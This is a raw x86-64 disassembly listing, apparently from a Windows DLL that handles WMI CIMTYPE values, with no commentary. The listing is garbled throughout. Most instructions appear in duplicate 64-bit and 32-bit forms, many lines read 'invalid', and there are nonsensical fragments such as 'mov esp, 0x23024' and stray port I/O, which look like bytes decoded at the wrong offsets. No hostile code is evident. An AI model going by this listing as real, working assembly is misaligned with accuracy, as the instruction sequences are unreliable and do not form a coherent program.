add byte [rax - 0x73], cl
invalid
add byte [rax], al
lea rax, [rsp + 0x70]
lea eax, [rsp + 0x70]
and al, 0x70
jo case.0x18004d727.322
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rcx], eax
invalid
invalid
mov qword [rcx], rax
mov dword [rcx], eax
lea rax, [0x18006669c]
lea eax, [0x18006669c]
add eax, 0x1676
jbe 0x18006503a
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx + 8], rax
lea rax, [rsp + 0x3c]
and al, 0x3c
or byte [r8 - 0x73], cl
or byte [rax - 0x73], cl
and al, 0x3c
and al, 0x3c
cmp al, 0x48
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
adc byte [r8 - 0x73], cl
adc byte [rax - 0x73], cl
lea rax, str.Value__cannot_be_turned_into_a_CIMTYPE
add eax, 0x1c82e
add byte [rax - 0x73], cl
push rsp
lea rdx, [rsp + 0x40]
and al, 0x40
mov qword [rdx], rax
mov dword [rdx], eax
mov eax, 2
add byte [rax], al
add byte [rax - 0x77], cl
add byte [rax], al
mov qword [rdx + 8], rax
mov dword [rdx + 8], eax
or byte [rax - 0x7d], cl
and qword [rdx + 0x20], 0
invalid
and byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x180063378]
lea eax, [0x180063378]
add eax, 0xffffe321
and ebx, esp
invalid
mov qword [rcx + 0x18], r8
sbb byte [r8 - 0x77], cl
sbb byte [rax - 0x77], cl
mov qword [rdx + 0x10], rcx
adc byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
mov qword [rdx + 0x18], rax
mov dword [rdx + 0x18], eax
sbb byte [rax - 0x73], cl
lea rdi, [rsp + 0x230]
lea edi, [rsp + 0x230]
mov esp, 0x23024
add cl, ch
invalid
add byte [rax], al
jmp case.0x1800477d8.424
add al, byte ds:[rax]
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x70]
lea eax, [rsp + 0x70]
and al, 0x70
and al, 0x70
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
mov word [rax + rdx*4], fs
and al, 0x90
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx], rax
mov dword [rcx], eax
add dword [rax - 0x73], ecx
add eax, 0x1203
add edx, dword [rdx]
add byte [rax], al
lea rax, [0x18006628a]
lea eax, [0x18006628a]
add edx, dword [rdx]
add byte [rax], al
add byte [rax - 0x77], cl
or byte [r8 - 0x73], cl
or byte [rax - 0x73], cl
mov qword [rcx + 8], rax
or byte [rax - 0x73], cl
lea rax, [rsp + 0x3c]
and al, 0x3c
and al, 0x3c
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
lea rax, str.Value__cannot_be_turned_into_a_CIMTYPE
lea eax, [0x180081868]
add eax, 0x1c7cd
int 0xc7
add dword [rax], eax
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
push rsp
and al, 0x40
invalid
mov qword [rdx], rax
mov qword [rdx], rax
add bh, byte [rax + 2]
mov eax, 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rdx + 8], rax
mov dword [rdx + 8], eax
or byte [rax - 0x7d], cl
invalid
and qword [rdx + 0x20], 0
and dword [rdx + 0x20], 0
and byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x180063378]
lea eax, [0x180063378]
shl dl, 0xff
loop case.0x18006484f.290
invalid
dec dword [rcx + rcx*4 + 0x41]
sbb byte [rax - 0x77], cl
mov qword [rcx + 0x18], r8
mov qword [rdx + 0x10], rcx
invalid
invalid
adc byte [rax - 0x77], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov qword [rdx + 0x18], rax
mov dword [rdx + 0x18], eax
sbb byte [rax - 0x73], cl
lea rdi, [rsp + 0x170]
mov esp, 0x17024
jo 0x1800650cb
add dword [rax], eax
add byte [rax], al
add cl, ch
jmp case.0x1800477d8.424
fld qword [rcx]
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [rsp + 0x70]
add byte [rax], al
lea rax, [rsp + 0x70]
lea eax, [rsp + 0x70]
and al, 0x70
lea rcx, [rsp + 0x90]
nop
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
add dword [rax - 0x73], ecx
lea rax, [0x18002aaf0]
mov qword [rcx], rax
mov dword [rcx], eax
lea rax, [0x18002aaf0]
lea eax, [0x18002aaf0]
or byte [rdx - 4], bl
pop rdx
cld
dec dword [rax - 0x77]
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
or byte [r8 - 0x73], cl
or byte [rax - 0x73], cl
lea rax, [rsp + 0x3c]
lea eax, [rsp + 0x3c]
and al, 0x3c
and al, 0x3c
cmp al, 0x48
mov dword [rcx + 0x10], eax
invalid
invalid
mov qword [rcx + 0x10], rax
adc byte [r8 - 0x73], cl
lea rax, str.Value__cannot_be_turned_into_a_CIMTYPE
lea eax, [0x180081868]
add eax, 0x1c76c
insb byte [rdi], dx
mov dword [rcx], 0x548d4800
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
push rsp
and al, 0x40
mov qword [rdx], rax
mov dword [rdx], eax
mov eax, 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
invalid
add byte [rax], al
mov qword [rdx + 8], rax
mov dword [rdx + 8], eax
or byte [rax - 0x7d], cl
or byte [rax - 0x7d], cl
and qword [rdx + 0x20], 0
and dword [rdx + 0x20], 0
invalid
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x180063378]
lea eax, [0x180063378]
add eax, 0xffffe25f
pop rdi
loop case.0x180064678.402
invalid
dec dword [rcx + rcx*4 + 0x41]
mov qword [rcx + 0x18], r8
mov dword [rcx + 0x18], eax
sbb byte [rax - 0x77], cl
mov qword [rdx + 0x10], rcx
mov dword [rdx + 0x10], ecx
adc byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
mov qword [rdx + 0x18], rax
mov dword [rdx + 0x18], eax
sbb byte [rax - 0x73], cl
mov esp, 0x1d024
and al, 0xd0
add dword [rax], eax
lea rdi, [rsp + 0x1d0]
lea edi, [rsp + 0x1d0]
and al, 0xd0
rol byte [rcx], 1
add byte [rax], al
add dword [rax], eax
add cl, ch
jmp case.0x1800477d8.424
jl case.0x1800579c5.273
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
and al, 0x70
lea rax, [rsp + 0x70]
lea eax, [rsp + 0x70]
and al, 0x70
jo case.0x1800484d2.432
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
and al, 0x90
nop
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx], rax
add dword [rax - 0x73], ecx
lea rax, [0x18002e404]
lea eax, [0x18002e404]
add eax, 0xfffc92bb
xchg edx, eax
cld
dec dword [rax - 0x77]
invalid
invalid
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
or byte [r8 - 0x73], cl
or byte [rax - 0x73], cl
lea rax, [rsp + 0x3c]
lea eax, [rsp + 0x3c]
and al, 0x3c
cmp al, 0x48
mov dword [rcx + 0x10], eax
invalid
mov qword [rcx + 0x10], rax
adc byte [r8 - 0x73], cl
adc byte [rax - 0x73], cl
lea rax, str.Value__cannot_be_turned_into_a_CIMTYPE
lea eax, [0x180081868]
add eax, 0x1c70b
or eax, edi
mov dword [rcx], 0x548d4800
add dword [rax], eax
add byte [rax - 0x73], cl
push rsp
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
and al, 0x40
mov qword [rdx], rax
mov qword [rdx], rax
mov dword [rdx], eax
mov eax, 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
or byte [rax - 0x7d], cl
or byte [rax - 0x7d], cl
mov qword [rdx + 8], rax
mov dword [rdx + 8], eax
and qword [rdx + 0x20], 0
invalid
and byte [rax], al
lea r8, [0x180063378]
add eax, 0xffffe1fe
invalid
loope case.0x18004ba21.232
invalid
dec dword [rcx + rcx*4 + 0x41]
mov qword [rcx + 0x18], r8
sbb byte [rax - 0x77], cl
mov qword [rdx + 0x10], rcx
mov dword [rdx + 0x10], ecx
adc byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
mov qword [rdx + 0x18], rax
mov dword [rdx + 0x18], eax
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdi, [rsp + 0x1a0]
mov esp, 0x1a024
and al, 0xa0
movabs al, byte [0x11be9000001]
add dword [rax], eax
add byte [rax], al
add cl, ch
jmp case.0x1800477d8.424
sbb eax, dword [rcx]
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x70]
lea eax, [rsp + 0x70]
and al, 0x70
and al, 0x70
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
mov word [rax + rdx*4], fs
and al, 0x90
nop
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx], rax
mov dword [rcx], eax
add dword [rax - 0x73], ecx
lea rax, case.0x18005c15f.289
lea eax, case.0x18005c15f.289
add eax, 0x1370
adc eax, dword [rax]
add byte [rax - 0x77], cl
or byte [r8 - 0x73], cl
or byte [rax - 0x73], cl
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
or byte [rax - 0x73], cl
lea rax, [rsp + 0x3c]
lea eax, [rsp + 0x3c]
and al, 0x3c
and al, 0x3c
cmp al, 0x48
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
adc byte [rax - 0x73], cl
lea rax, str.Value__cannot_be_turned_into_a_CIMTYPE
lea eax, [0x180081868]
add eax, 0x1c6aa
mov byte [rcx], 0
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
mov qword [rdx], rax
mov qword [rdx], rax
add bh, byte [rax + 2]
mov eax, 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rdx + 8], rax
or byte [rax - 0x7d], cl
or byte [rax - 0x7d], cl
and qword [rdx + 0x20], 0
invalid
and byte [rax], al
lea r8, [0x180063378]
popfq
loope case.0x18006489b.211
invalid
invalid
dec dword [rcx + rcx*4 + 0x41]
sbb byte [rax - 0x77], cl
invalid
invalid
mov qword [rcx + 0x18], r8
mov dword [rcx + 0x18], eax
sbb byte [r8 - 0x77], cl
mov qword [rdx + 0x10], rcx
mov dword [rdx + 0x10], ecx
adc byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
mov qword [rdx + 0x18], rax
mov dword [rdx + 0x18], eax
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdi, [rsp + 0x1b8]
mov esp, 0x1b824
and al, 0xb8
add dword [rax], eax
invalid
mov eax, 0xe9000001
add byte [rax], al
add cl, ch
jmp case.0x1800477d8.424
mov edx, 0x48000000
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x70]
lea eax, [rsp + 0x70]
and al, 0x70
and al, 0x70
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
mov word [rax + rdx*4], fs
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x77], cl
add dword [rax - 0x73], ecx
invalid
invalid
mov qword [rcx], rax
mov dword [rcx], eax
lea rax, [0x180066666]
lea eax, [0x180066666]
add eax, 0x145b
pop rbx
adc al, 0
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
or byte [r8 - 0x73], cl
or byte [rax - 0x73], cl
lea rax, [rsp + 0x3c]
and al, 0x3c
and al, 0x3c
cmp al, 0x48
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
adc byte [r8 - 0x73], cl
adc byte [rax - 0x73], cl
lea rax, str.Value__cannot_be_turned_into_a_CIMTYPE
lea eax, [0x180081868]
add eax, 0x1c649
mov byte [r9], 0
mov byte [rcx], 0
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
push rsp
and al, 0x40
mov qword [rdx], rax
mov qword [rdx], rax
mov dword [rdx], eax
add bh, byte [rax + 2]
mov eax, 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rdx + 8], rax
mov dword [rdx + 8], eax
or byte [rax - 0x7d], cl
or byte [rax - 0x7d], cl
and qword [rdx + 0x20], 0
and dword [rdx + 0x20], 0
invalid
and byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x180063378]
lea eax, [0x180063378]
add eax, 0xffffe13c
cmp al, 0xe1
loope 0x18006523a
invalid
dec dword [rcx + rcx*4 + 0x41]
mov qword [rcx + 0x18], r8
mov dword [rcx + 0x18], eax
sbb byte [rax - 0x77], cl
mov qword [rdx + 0x10], rcx
mov dword [rdx + 0x10], ecx
adc byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
mov qword [rdx + 0x18], rax
mov dword [rdx + 0x18], eax
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdi, [rsp + 0x200]
mov esp, 0x20024
and al, 0
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
add bl, ch
pop rsp
jmp case.0x1800477d8.424
lea rax, [rsp + 0x70]
lea eax, [rsp + 0x70]
and al, 0x70
and al, 0x70
jo 0x1800652a0
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
mov word [rax + rdx*4], fs
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx], rax
lea rax, [0x18002b940]
add byte [rax], al
mov qword [rcx], rax
lea rax, [0x18002b940]
lea eax, [0x18002b940]
cld
dec dword [rax - 0x77]
or byte [r8 - 0x73], cl
or byte [rax - 0x73], cl
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
or byte [rax - 0x73], cl
lea rax, [rsp + 0x3c]
and al, 0x3c
and al, 0x3c
cmp al, 0x48
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
adc byte [rax - 0x73], cl
lea rax, str.Value__cannot_be_turned_into_a_CIMTYPE
lea eax, [0x180081868]
add eax, 0x1c5eb
jmp 0x180065240
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
push rsp
and al, 0x40
mov qword [rdx], rax
mov qword [rdx], rax
mov dword [rdx], eax
add bh, byte [rax + 2]
mov eax, 2
add byte [rax], al
add byte [rax - 0x77], cl
or byte [rax - 0x7d], cl
or byte [rax - 0x7d], cl
mov qword [rdx + 8], rax
mov dword [rdx + 8], eax
or byte [rax - 0x7d], cl
and qword [rdx + 0x20], 0
and dword [rdx + 0x20], 0
invalid
and byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x180063378]
lea eax, [0x180063378]
add eax, 0xffffe0de
fsubrp st(0)
loopne case.0x18005c15f.212
invalid
dec dword [rcx + rcx*4 + 0x41]
mov qword [rcx + 0x18], r8
mov dword [rcx + 0x18], eax
sbb byte [rax - 0x77], cl
mov qword [rdx + 0x10], rcx
mov dword [rdx + 0x10], ecx
adc byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
mov qword [rdx + 0x18], rax
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdi, [rsp + 0x1e8]
lea edi, [rsp + 0x1e8]
mov esp, 0x1e824
and al, 0xe8
call 0x1c80652b0
add dword [rax], eax
add byte [rax - 0x77], cl
mov rcx, rdi
mov ecx, edi
stc
call fcn.18006634f
cdq
adc byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rdi]
mov eax, dword [rdi]
invalid
mov byte [rsi + 8], 6
or byte [rsi], r8b
or byte [rsi], al
invalid
mov qword [rsi + 0x10], rax
adc byte [rdi], r9b
adc byte [rdi], cl
movups xmm0, xmmword [rdi + 8]
adc byte [rdi + 8], al
or byte [r15], r9b
movups xmmword [rsi + 0x18], xmm0
adc dword [rsi + 0x18], eax
sbb byte [rax - 0x39], cl
mov qword [rsi], 1
mov dword [rsi], 1
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x16fe4eff], dh
mov al, 1
add dword [rcx + 0xef3e901], esi
add byte [rax], al
invalid
mov cl, 1
jmp 0x1800661cc
invalid
invalid
add byte [rax], al
invalid
add ecx, ebp
invalid
add byte [rax - 0x75], cl
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
and al, 0x30
xor byte [rcx + rcx*4 - 0x16], cl
mov rdx, r13
mov edx, ebp
call fcn.180029c10
sub cl, byte [rcx - 4]
cld
dec dword [rcx - 0x77]
mov dword [rcx - 0xa], 0x850f01c7
test r15b, 1
invalid
invalid
mov r15, rax
test r15b, 1
test bh, 1
mov dword [rcx], 0x6b3850f
add dword [rdi], ecx
jne 0x1800659a6
test dword [rbx + 0x49000006], esi
mov bl, 6
invalid
add byte [rax], al
add byte [rcx - 0x3f], cl
out dx, eax
shr r15, 0x20
shr edi, 0x20
and byte [rcx - 0x4a], al
mov r14b, 7
invalid
jmp 0x18006611b
sbb al, 0xe
invalid
add byte [rax], al
add byte [rcx - 0x4e], al
mov r10b, 1
mov dl, 1
add dword [rbp - 0x7b], ecx
test r13, r13
test ebp, ebp
in eax, dx
je 0x180065491
test byte [rsi + 0x49000001], al
cmp ebp, 1
invalid
xchg byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x7d], cl
cmp r13, 1
std
add dword [rax - 0x75], ecx
and al, 0x28
and al, 0x28
mov rcx, qword [rsp + 0x28]
and al, 0x28
sub byte [rdi], cl
jne 0x1800659ce
test dword [rsi + rax - 0x74b80000], esi
mov ah, 6
add byte [rax], al
invalid
invalid
add byte [rax - 0x75], cl
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
push rsp
and al, 0x30
xor byte [rdi + rcx - 0x4a], al
movzx r8d, byte [rdx]
movzx eax, byte [rdx]
mov dh, 2
add al, byte [rcx - 0x7d]
cmp r8d, 0x2b
cmp eax, 0x2b
clc
sub ecx, dword [rdi]
test byte [rax + 9], ch
invalid
invalid
je 0x180065c95
push 0xffffffffb8000009
add byte [rax], al
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x4b], al
add dword [rcx - 0x7d], eax
invalid
invalid
mov bpl, 1
mov ch, 1
cmp r8d, 0x2d
clc
sub eax, 0xe70840f
invalid
test byte [rax + 0xe], dh
je 0x1800661af
test byte [rax + 0xe], dh
invalid
add byte [rax], al
add cl, ch
loop case.0x18004c0d7.218
invalid
jmp 0x180065c26
or byte [rax], al
add byte [rax], al
add byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
test ebp, ebp
je 0x1800654d1
test byte [rcx], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rcx - 0x7d], cl
cmp r13, 1
cmp ebp, 1
std
add dword [rax - 0x75], ecx
mov rcx, qword [rsp + 0x28]
and al, 0x28
sub byte [rdi], cl
test dword [0x1c8065364], ebx
sbb eax, 0x48000007
invalid
add byte [rax], al
invalid
invalid
jne 0x180065a79
invalid
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
and al, 0x30
and al, 0x30
movzx eax, byte [rax]
mov dh, 0
add byte [rcx - 0x4e], al
mov r10b, 1
mov dl, 1
add dword [rbx - 0x7bf0d408], eax
cmp eax, 0x2b
clc
sub ecx, dword [rdi]
je 0x180065c95
test byte [0x1c006537a], ah
and eax, 0x40000009
or dword [rax], eax
add byte [rax], al
add byte [rax - 0x4b], al
mov bpl, 1
mov ch, 1
add dword [rbx - 0x7bf0d208], eax
xor ecx, dword [rsi]
invalid
cmp eax, 0x2d
clc
sub eax, 0xe33840f
je 0x1800661af
test byte [rbx], dh
invalid
add byte [rax], al
add cl, ch
jmp 0x180065a80
inc dword [rsi]
invalid
add byte [rax], al
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rcx + rcx*4 - 0x16], cl
mov rdx, r13
call fcn.18002aa00
push rsi
cld
dec dword [rcx - 0x3a09bf3b]
mov ebp, eax
test bpl, 1
test ch, 1
invalid
test ch, 1
add dword [rdi], ecx
jne 0x1800659b9
test dword [rdi], ebx
invalid
invalid
add cl, al
shr ebp, 0x10
in eax, dx
adc byte [rcx - 0x4a], al
or ebp, ecx
invalid
mov r14b, 0xb
mov dh, 0xb
jmp 0x180066124
jg 0x1800653b0
or eax, 0xb2410000
add byte [rax], al
add byte [rcx - 0x4e], al
mov r10b, 1
mov dl, 1
add dword [rbp - 0x7b], ecx
test r13, r13
test ebp, ebp
in eax, dx
je 0x180065491
test al, ah
loopne case.0x18004b2bd.227
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
std
add dword [rax - 0x75], ecx
invalid
cmp r13, 1
cmp ebp, 1
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rdi], cl
test ebx, edi
sti
jne 0x180065abb
sti
invalid
add byte [rax], al
add byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
invalid
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
and al, 0x30
xor byte [rcx + 0xf], al
movzx eax, byte [r8]
movzx eax, byte [rax]
mov dh, 0
add byte [rbx - 0x7bf0d408], al
cmp eax, 0x2b
clc
sub ecx, dword [rdi]
je 0x180065c95
test bl, al
ret
or byte [rax], al
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
invalid
mov r9d, 1
mov ecx, 1
add byte [rax], al
add byte [rax - 0x4b], al
invalid
add byte [rax], al
mov bpl, 1
mov ch, 1
add dword [rbx - 0x7bf0d208], eax
retf
cmp eax, 0x2d
sub eax, 0xdcb840f
je 0x1800661af
test bl, cl
or eax, 0x7de90000
add byte [rax], al
invalid
invalid
add byte [rax], al
add cl, ch
jmp 0x180065c66
jge case.0x18004bb8b.307
or byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rdi, [rsp + 0x40]
lea edi, [rsp + 0x40]
jl 0x180065411
mov rcx, rdi
mov rcx, rdi
mov ecx, edi
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
push rsp
and al, 0x30
invalid
xor byte [rbp - 0x77], cl
mov r8, r13
mov eax, ebp
call 0x17c54e6e5
call fcn.18002a290
cld
cld
inc dword [rax - 0x7bf0ffc1]
cmp byte [rdi], 0
invalid
je 0x1800659c1
test byte [rdx + 0x40000005], bh
mov edx, 0x40000005
add byte [rax], al
add byte [rax - 0x76], al
mov bpl, byte [rsp + 0x41]
mov ch, byte [rsp + 0x41]
insb byte [rdi], dx
and al, 0x41
mov r10b, 2
mov dl, 2
add ch, cl
jmp 0x1800661aa
xchg esi, eax
or eax, 0x854d0000
add byte [rax], al
test r13, r13
test ebp, ebp
in eax, dx
je 0x1800654d1
mov ah, 0
add byte [rax], al
cmp r13, 1
cmp ebp, 1
std
add dword [rax - 0x75], ecx
invalid
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
and al, 0x28
sub byte [rdi], cl
jne 0x180065b23
test edi, esi
test dword [rsi], 0x8b480000
invalid
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
and al, 0x30
and al, 0x30
movzx eax, byte [rax]
mov dh, 0
add byte [rcx - 0x4e], al
add dword [rbx - 0x7bf0d408], eax
cmp eax, 0x2b
invalid
invalid
push rbp
mov r10b, 1
mov dl, 1
cmp eax, 0x2b
clc
sub ecx, dword [rdi]
je 0x180065c95
test byte [rbp + 8], dl
or byte [rax], al
add byte [rax], al
add byte [rax - 0x4b], al
mov bpl, 1
mov ch, 1
add dword [rbx - 0x7bf0d208], eax
cmp eax, 0x2d
je 0x1800661af
invalid
invalid
add byte [rax], al
sub eax, 0xd63840f
invalid
or eax, 0xd9e90000
add byte [rax], al
add cl, ch
jmp 0x180065b2a
fld dword [rsi]
invalid
add byte [rax], al
mov r10b, 1
mov dl, 1
add dword [rbp - 0x7b], ecx
test r13, r13
in eax, dx
je 0x180065491
cmp r13, 1
cmp ebp, 1
mov rcx, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rdi], cl
jne 0x180065b66
test esi, edi
invalid
add byte [rax], al
add byte [rbx + rcx*4 + 0x44], cl
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
and al, 0x30
xor byte [rcx + 0xf], al
mov dh, 0
invalid
movzx eax, byte [r8]
movzx eax, byte [rax]
add byte [rbx - 0x7bf0d408], al
sbb ecx, dword [rax]
add byte [rax], al
invalid
cmp eax, 0x2b
je 0x180065c95
test byte [rbx], bl
or byte [rax], al
invalid
clc
sub ecx, dword [rdi]
test byte [rbx], bl
or byte [rax], al
add byte [rcx - 0x47], al
mov r9d, 1
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x4b], al
invalid
invalid
add byte [rax], al
mov bpl, 1
mov ch, 1
add dword [rbx - 0x7bf0d208], eax
and ecx, dword [0x199ef548e]
or eax, 0x19e90000
cmp eax, 0x2d
sub eax, 0xd23840f
add byte [rax], al
invalid
je 0x1800661af
test byte [rbx], ah
or eax, 0x19e90000
add cl, ch
jmp case.0x18001c9bf.1491
sbb dword [rax], ecx
add byte [rax], al
invalid
or byte [rax], al
add byte [rcx], dh
xor ebp, ebp
in eax, dx
jmp 0x1800661aa
or eax, 0x854d0000
add byte [rbp - 0x7b], cl
test r13, r13
test ebp, ebp
in eax, dx
je 0x1800654d1
xor al, 0x49
cmp r13, 1
cmp ebp, 1
add dword [rax - 0x75], ecx
and al, 0x28
invalid
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
sub byte [rdi], cl
jne 0x180065bd2
test dword [rsi], esp
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
and al, 0x30
and al, 0x30
movzx eax, byte [rax]
mov r10b, 1
invalid
add byte [rcx - 0x4e], al
add dword [rbx - 0x7bf0d408], eax
invalid
cmp eax, 0x2b
sub ecx, dword [rdi]
je 0x180065c95
test ch, dl
invalid
add byte [rax], al
add byte [rax - 0x4b], al
mov bpl, 1
mov ch, 1
add dword [rbx - 0x7bf0d208], eax
jrcxz 0x1800654d6
invalid
cmp eax, 0x2d
je 0x1800661af
or al, 0
invalid
sub eax, 0xce3840f
or al, 0
add byte [rax], al
add cl, ch
jmp 0x180065bd9
or byte [rdi], al
add byte [rax], al
invalid
xor ebp, ebp
in eax, dx
jmp 0x1800661a7
or al, 0
add byte [rax], al
add byte [rcx - 0x4a], al
mov r14b, 5
mov dh, 5
add eax, 0x17ae9
jmp 0x18006565a
jp case.0x18005c15f.245
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x4a], al
mov r14b, 3
mov dh, 3
add ebp, ebx
cmp al, 0x41
mov r14b, 5
jmp 0x180065521
mov r14b, 5
jmp 0x180065712
add al, byte [rax]
add byte [rcx - 0x4a], al
mov r14b, 3
mov dh, 3
add ebp, ebx
jp 0x180065534
invalid
jmp 0x18006556c
mov r14b, 0xd
mov dh, 0xd
jmp case.0x18005ccfd.120
add byte [rax], al
add byte [rcx - 0x4a], al
mov r14b, 5
mov dh, 5
add eax, 0x253e9
jmp case.0x18005c15f.125
push rbx
add al, byte [rax]
add byte [rcx - 0x4a], al
mov r14b, 3
mov dh, 3
add ebp, ecx
jmp 0x1800655d4
retf 0
add byte [rdi], cl
movzx eax, bp
mov bh, 0xc5
invalid
cvtsi2ss xmm0, eax
cvtpi2ps xmm0, mm0
sub al, al
movd r15d, xmm0
movd r15d, mm0
movd edi, mm0
mov dword [rcx - 0x4a], 0x3dee907
mov r14b, 7
jmp 0x1800658fc
fiadd word [rbx]
add eax, dword [rax]
add byte [rax], al
add byte [rcx - 0x4a], al
mov r14b, 0xa
or al, byte [rcx - 0x77]
mov r12d, ebp
mov esp, ebp
in al, dx
jmp 0x1800658f7
invalid
add eax, dword [rax]
add byte [rcx - 0x4a], al
mov r14b, 0xd
jmp case.0x18005ccfd.141
add dword [rax], eax
invalid
or eax, 0x1e9e9
jmp 0x18f065533
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
movzx eax, bp
mov bh, 0xc5
invalid
cvtsi2sd xmm0, eax
cvtpi2ps xmm0, mm0
sub al, al
shl byte [rsi + 0x48], 0xf
movq rdi, xmm0
jle 0x180065504
mov r14b, 8
mov dh, 8
or cl, ch
sub byte [rcx], al
invalid
jmp case.0x18005ccfd.120
add dword [rax], eax
add byte [rcx - 0x4a], al
mov r14b, 0xd
jmp case.0x18005c15f.125
invalid
add byte [rax], al
mov r14b, 0xd
mov dh, 0xd
jmp case.0x18005c15f.125
or byte [rdx], al
add byte [rax], al
movsx eax, bp
mov edi, 0x2a0ff3c5
shl byte [rsi + 0x41], 0xf
cvtsi2ss xmm0, eax
cvtpi2ps xmm0, mm0
sub al, al
movd r15d, xmm0
jle 0x180065520
mov r14b, 7
mov dh, 7
invalid
jmp 0x180065712
mov cl, 1
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x4a], al
add eax, 0x331e9
xor dword [rbx], eax
invalid
mov r14b, 5
jmp 0x18006589a
xor dword [rbx], eax
add byte [rax], al
xor dword [rbx], eax
add eax, dword [rax]
add byte [rax], al
add byte [rcx - 0x4a], al
or al, byte [rcx - 0x77]
invalid
mov r14b, 0xa
mov dh, 0xa
mov r12d, ebp
mov esp, ebp
in al, dx
jmp 0x180066136
ret 0xb
add byte [rax], al
